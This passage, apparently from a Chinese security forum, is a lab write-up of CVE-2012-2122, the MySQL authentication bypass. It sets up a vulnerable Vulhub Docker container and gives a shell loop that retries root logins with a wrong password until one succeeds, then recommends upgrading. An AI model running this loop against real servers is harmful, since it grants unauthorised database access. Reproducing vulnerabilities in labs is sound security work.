git clone https://github.com/vulhub/vulhub.git

  1. 启动测试环境
    • 使用 VulnHub 提供的 mysql/CVE-2012-2122 模块,通过以下命令启动环境:bash复制
    • Vulhub 中的 mysql/CVE-2012-2122 模块,ls cd到目录,在 vulhub/mysql/CVE-2012-2122 目录下使用 docker-compose up -d 命令启动容器:

bash

 docker-compose up -d

    • 该环境会启动一个 MySQL 服务(版本 5.5.23),监听 3306 端口
  1. 验证漏洞
    • 使用正确的用户名(如 root)和错误的密码多次尝试登录:bash复制
for i in `seq 1 1000`; do mysql -uroot -pwrong -h <MySQL_IP> -P3306; done
    • 在多次尝试后,攻击者可能会成功登录

修复建议

建议升级 MySQL 版本:

  • MySQL 5.0 版本低于 5.0.96
  • MySQL 5.1 版本低于 5.1.63
  • MySQL 5.5 版本低于 5.5.25

升级后,应备份整个 MySQL 目录、安装目录和数据目录,以防止升级失败

总结

CVE-2012-2122 是一个由于密码比较逻辑缺陷导致的身份认证绕过漏洞。攻击者可以通过多次尝试错误密码,最终绕过认证成功登录 MySQL 服务器。该漏洞的触发与 MySQL 的编译选项和运行环境有关,建议升级到安全版本以修复漏洞。

 


[注意]看雪招聘,专注安全领域的专业人才平台!

收藏
免费
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回

账号登录
验证码登录

忘记密码?
没有账号?立即免费注册